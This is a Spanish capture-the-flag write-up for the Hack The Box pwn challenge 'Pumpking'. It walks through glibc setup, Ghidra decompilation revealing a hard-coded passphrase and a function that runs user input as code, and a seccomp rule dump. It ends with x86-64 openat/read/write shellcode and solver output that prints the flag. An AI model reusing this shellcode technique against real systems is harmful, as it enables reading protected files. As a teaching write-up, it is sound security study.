Pumpking
5 minutos de lectura
Se nos proporciona un binario de 64 bits llamado pumpking
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Configuración del entorno
Puede ocurrir que no tengamos la versión de Glibc que acepta el programa:
$ ./pumpking
zsh: no such file or directory: ./pumpking
$ ldd pumpking
./pumpking: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./pumpking)
linux-vdso.so.1 (0x00007ffc78fd6000)
libseccomp.so.2 => /lib/x86_64-linux-gnu/libseccomp.so.2 (0x00007f16439e4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f16437f2000)
./glibc/ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007f1643a25000)
Por suerte, en Spooky Time nos dan una librería y un loader, versión 2.35:
$ ../pwn_spooky_time/glibc/ld-linux-x86-64.so.2 ../pwn_spooky_time/glibc/libc.so.6
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 11.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
Entonces, podemos copiar ese directorio en nuestro entorno y usar pwninit
para parchear el binario y que use esta nueva versión de Glibc:
$ cp -r ../pwn_spooky_time/glibc .
$ pwninit --libc glibc/libc.so.6 --ld glibc/ld-linux-x86-64.so.2 --bin pumpking --no-template
bin: pumpking
libc: glibc/libc.so.6
ld: glibc/ld-linux-x86-64.so.2
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.35-0ubuntu3.1_amd64.deb
warning: failed unstripping libc: libc deb error: failed to find file in data.tar
Current pumpcoins: [1337]
running patchelf on pumpking_patched
Ahora tenemos otro binario (pumpking_patched
), y lo podemos ejecutar normalmente:
$ ./pumpking_patched
First of all, in order to proceed, we need you to whisper the secret passphrase provided only to naughty kids: asdf
You seem too kind for the Pumpking to help you.. I'm sorry!
zsh: invalid system call (core dumped) ./pumpking_patched
Ingeniería inversa
Si abrimos el binario en Ghidra, veremos el siguiente código en C descompilado para la función main
:
void main() {
int ret;
size_t sVar1;
long in_FS_OFFSET;
ulong local_28;
undefined8 input_data;
undefined4 local_17;
undefined2 local_13;
undefined local_11;
undefined8 canary;
canary = *(undefined8 *) (in_FS_OFFSET + 0x28);
setup();
input_data = 0;
local_17 = 0;
local_13 = 0;
local_11 = 0;
write(1, "\nFirst of all, in order to proceed, we need you to whisper the secret passphrase provided only to naughty kids: ", 0x70);
read(0, &input_data, 14);
local_28 = 0;
while (true) {
sVar1 = strlen((char *) &input_data);
if (sVar1 <= local_28) break;
if (*(char *) ((long )&input_data + local_28) == '\n') {
*(undefined *) ((long) &input_data + local_28) = 0;
}
local_28 = local_28 + 1;
}
ret = strncmp((char *) &input_data, "pumpk1ngRulez", 0xd);
if (ret == 0) {
king();
} else {
write(1, "\nYou seem too kind for the Pumpking to help you.. I\'m sorry!\n\n", 0x3e);
}
/* WARNING: Subroutine does not return */
exit(0x16);
}
Primero, nos pregunta por una contraseña. La conocemos porque está hard-coded en el binario (pumpk1ngRulez
):
$ ./pumpking_patched
First of all, in order to proceed, we need you to whisper the secret passphrase provided only to naughty kids: pumpk1ngRulez
[Pumpkgin]: Welcome naughty kid! This time of the year, I will make your wish come true! Wish for everything, even for tha flag!
>> asdf
zsh: illegal hardware instruction (core dumped) ./pumpking_patched
En este punto, se llama a la función king
:
void king() {
long in_FS_OFFSET;
undefined8 shellcode;
undefined8 local_a0;
undefined8 local_98;
undefined8 local_90;
undefined8 local_88;
undefined8 local_80;
undefined8 local_78;
undefined8 local_70;
undefined8 local_68;
undefined8 local_60;
undefined8 local_58;
undefined8 local_50;
undefined8 local_48;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
undefined4 local_18;
undefined2 local_14;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
write(1, "\n[Pumpkgin]: Welcome naughty kid! This time of the year, I will make your wish come true! Wish for everything, even for tha flag!\n\n>> ", 0x88);
shellcode = 0;
local_a0 = 0;
local_98 = 0;
local_90 = 0;
local_88 = 0;
local_80 = 0;
local_78 = 0;
local_70 = 0;
local_68 = 0;
local_60 = 0;
local_58 = 0;
local_50 = 0;
local_48 = 0;
local_40 = 0;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
local_18 = 0;
local_14 = 0;
read(0, &shellcode, 0x95);
(*(code *) &shellcode)();
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Básicamente, se nos permite enviar instrucciones que serán ejecutadas por el programa. Sin embargo, hay reglas seccomp
configuradas en setup
. Podemos emplear seccomp-tools
para ver qué instrucciones syscall
están permitidas:
$ seccomp-tools dump ./pumpking_patched
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010
0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010
0007: 0x15 0x02 0x00 0x0000000f if (A == rt_sigreturn) goto 0010
0008: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0010
0009: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL
Vemos que podemos usar sys_read
, sys_write
, sys_rt_sigreturn
, sys_exit
y sys_openat
.
Desarrollo del exploit
Este reto es una mezcla entre Blacksmith y Fleet Management.
Por tanto, reutilizaré el código ensamblador para sys_openat
de Fleet Management y el código ensamblador para sys_read
y sys_write
de Blacksmith. Este es el resultado:
xor rdx, rdx
push rdx
mov rsi, 'flag.txt' # as hexadecimal number
push rsi
mov rsi, rsp
xor rdi, rdi
sub rdi, 100
mov rax, 0x101
syscall
mov dl, 0x64
mov rsi, rsp
xor edi, eax
xor al, al
syscall
mov al, 1
mov rdi, rax
syscall
mov al, 0x3c
syscall
Para más información, puedes ver los otros retos.
Flag
Si ejecutamos el exploit que envía el shellcode, veremos la flag:
$ python3 solve.py 159.65.49.148:32050
[*] './pumpking_patched'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
RUNPATH: b'./glibc'
[+] Opening connection to 159.65.49.148 on port 32050: Done
[*] Shellcode length: 0x3e
[+] HTB{n4ughty_b01z_d0_n0t_f0ll0w_s3cc0mp_rul3z}
[*] Closed connection to 159.65.49.148 port 32050
El exploit completo se puede encontrar aquí: solve.py
.